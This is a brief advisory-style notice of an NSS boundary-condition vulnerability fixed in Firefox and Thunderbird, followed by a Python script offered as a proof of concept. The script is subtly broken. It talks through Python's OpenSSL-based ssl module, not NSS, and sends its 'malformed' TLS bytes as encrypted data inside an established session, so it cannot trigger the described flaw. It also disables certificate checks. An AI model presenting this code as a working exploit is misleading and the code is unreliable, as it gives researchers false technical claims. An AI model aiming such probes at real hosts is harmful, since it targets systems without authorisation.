Incorrect boundary conditions in the Libraries component in NSS. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for NSS boundary condition vulnerability
import socket
import ssl
def trigger_vulnerability(target_host, target_port):
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
# Wrap socket with SSL/TLS to interact with NSS
context = ssl.create_default_context()
# Note: Disable verification for testing purposes only
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
try:
# Connect to the target
ssl_sock = context.wrap_socket(sock, server_hostname=target_host)
ssl_sock.connect((target_host, target_port))
# Send malformed data to trigger incorrect boundary checks
# In a real scenario, this would be a specific TLS record structure
# that causes NSS to read past the buffer boundary.
malformed_payload = b"\x16\x03\x01\x00\x05" + b"A" * 100 # Example malformed header
ssl_sock.send(malformed_payload)
# Attempt to receive response which might contain leaked memory data
response = ssl_sock.recv(4096)
print(f"Received response: {response}")
except Exception as e:
print(f"An error occurred: {e}")
finally:
sock.close()
# Usage
# trigger_vulnerability("example.com", 443)